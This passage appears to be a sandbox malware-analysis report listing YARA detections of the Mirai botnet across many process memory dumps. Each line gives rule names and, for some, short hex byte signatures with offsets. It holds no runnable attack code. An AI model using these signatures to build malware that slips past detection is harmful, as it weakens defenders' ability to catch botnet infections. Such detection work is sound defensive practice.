6670.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6776.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6776.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6776.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6776.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6776.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6776.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6407.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6407.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6407.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6407.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6407.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6407.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6278.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6339.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7237.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7237.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7237.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7237.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7237.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7237.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6376.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6376.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6376.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6828.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6828.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6828.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6781.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6781.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6781.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6828.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6828.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6828.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6456.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6928.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6928.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6781.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6781.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6781.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6737.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6464.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6323.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7136.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6457.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6438.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6438.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6438.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6438.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6438.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6438.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6394.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6719.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6719.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6719.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6719.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6719.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6719.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7281.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7320.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7281.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7281.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6339.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6339.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6339.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6339.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6339.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6375.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6375.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6375.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6375.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6375.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6375.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6511.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6376.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6376.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6376.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6910.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6910.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6910.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6910.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6910.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6910.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7136.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7136.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6882.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6882.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6882.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6882.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6882.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6882.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6457.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6457.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6457.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6457.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6457.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6245.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6278.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6278.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6278.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6278.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6278.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7320.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7320.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7320.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7320.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7320.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7281.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7281.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7281.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6456.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6456.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6737.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6737.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6737.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6737.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7220.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6928.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6928.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6928.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6928.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7136.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7136.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7136.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6394.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6394.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6394.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6394.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6394.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6737.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7220.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7220.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6456.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6456.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6456.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7220.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7220.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7220.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6245.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6245.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6245.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6245.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6245.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7009.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7009.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7009.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7009.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7009.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7009.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6365.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6365.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6365.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6365.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6365.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6365.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6367.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6367.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6367.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6367.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6367.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6367.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6645.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6645.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6645.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6645.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6645.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6645.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6769.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6769.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6769.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6769.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
